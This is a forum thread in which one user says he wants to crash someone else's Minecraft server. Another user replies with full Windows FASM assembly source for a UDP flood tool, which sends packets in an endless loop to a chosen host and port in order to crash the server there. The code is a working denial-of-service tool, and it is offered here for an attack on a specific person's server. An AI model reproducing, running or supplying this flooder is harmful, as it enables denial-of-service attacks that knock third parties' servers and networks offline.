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RE: Minecraft server - FunKx - 12-04-2011

One word. "Griefer" :epic:


RE: Minecraft server - balcas - 12-04-2011

dont want to grief Biggrin i just wanna crash his server becouse i built that server and we can say he stole it ^_^


RE: Minecraft server - FunKx - 12-05-2011

(12-04-2011, 12:05 PM)balcas Wrote: dont want to grief Biggrin i just wanna crash his server becouse i built that server and we can say he stole it ^_^

OMG, and you lost 5 minutes of work, how terrible! :oO:




RE: Minecraft server - Enc0de - 04-09-2012

I don't understand minecraft what is it all about I am not trying to make fun of it but why do people play it.


RE: Minecraft server - underground_jatt - 04-09-2012

u have to know socket programing to do tht..
download any ASM compiler
The benefits of UDP flooder are the speed between each packets, we don't matter of the order packets are receivied and the fact that it's sessionless.
I decided to code a very simple and small udp flooder with FASM. To edit setting just change iSleep, sPort and sHost values.
''Be carefull if you are using this, It could crash your router USE AT YOUR OWN RISK.''
Code:
format PE console 4.0 ; UDP Flooder Tutorial ; Send UDP packet very quickly which could result to a server crash. ; 2012 By WireMask - wiremask.eu entry start include 'include\win32a.inc' 08 section '.data' data readable writeable 09 10 ; Time between each packets in ms iSleep equ 50d ; Destination Port sPort equ 2750d ; Destination Host sHost db 'remotehost',0 ; Packet to Send sPacket db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0 sPacketl = $ - sPacket sock dd ? sin_addr dd ? sin_port dd ? saddr sockaddr_in wsadata WSADATA section '.code' code readable executable start: invoke WSAStartup, 0202h, wsadata ; Declare our UDP Socket invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17 mov [sock], eax mov [saddr.sin_family], AF_INET ; Select Port invoke htons, sPort mov [saddr.sin_port], ax ; Select IP invoke gethostbyname, sHost mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov [saddr.sin_addr], eax ; Start our infinite loop .loop: invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in cmp eax, 0 je exit invoke Sleep, iSleep jmp .loop ; useless part exit: invoke closesocket, [sock] invoke WSACleanup invoke ExitProcess,0 section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ winsock,'WSOCK32.DLL' import kernel,\ ExitProcess,'ExitProcess',\ Sleep,'Sleep' import winsock,\ WSAStartup,'WSAStartup',\ WSACleanup,'WSACleanup',\ socket,'socket',\ sendto,'sendto',\ inet_addr,'inet_addr',\ htons,'htons',\ closesocket,'closesocket',\ gethostbyname,'gethostbyname'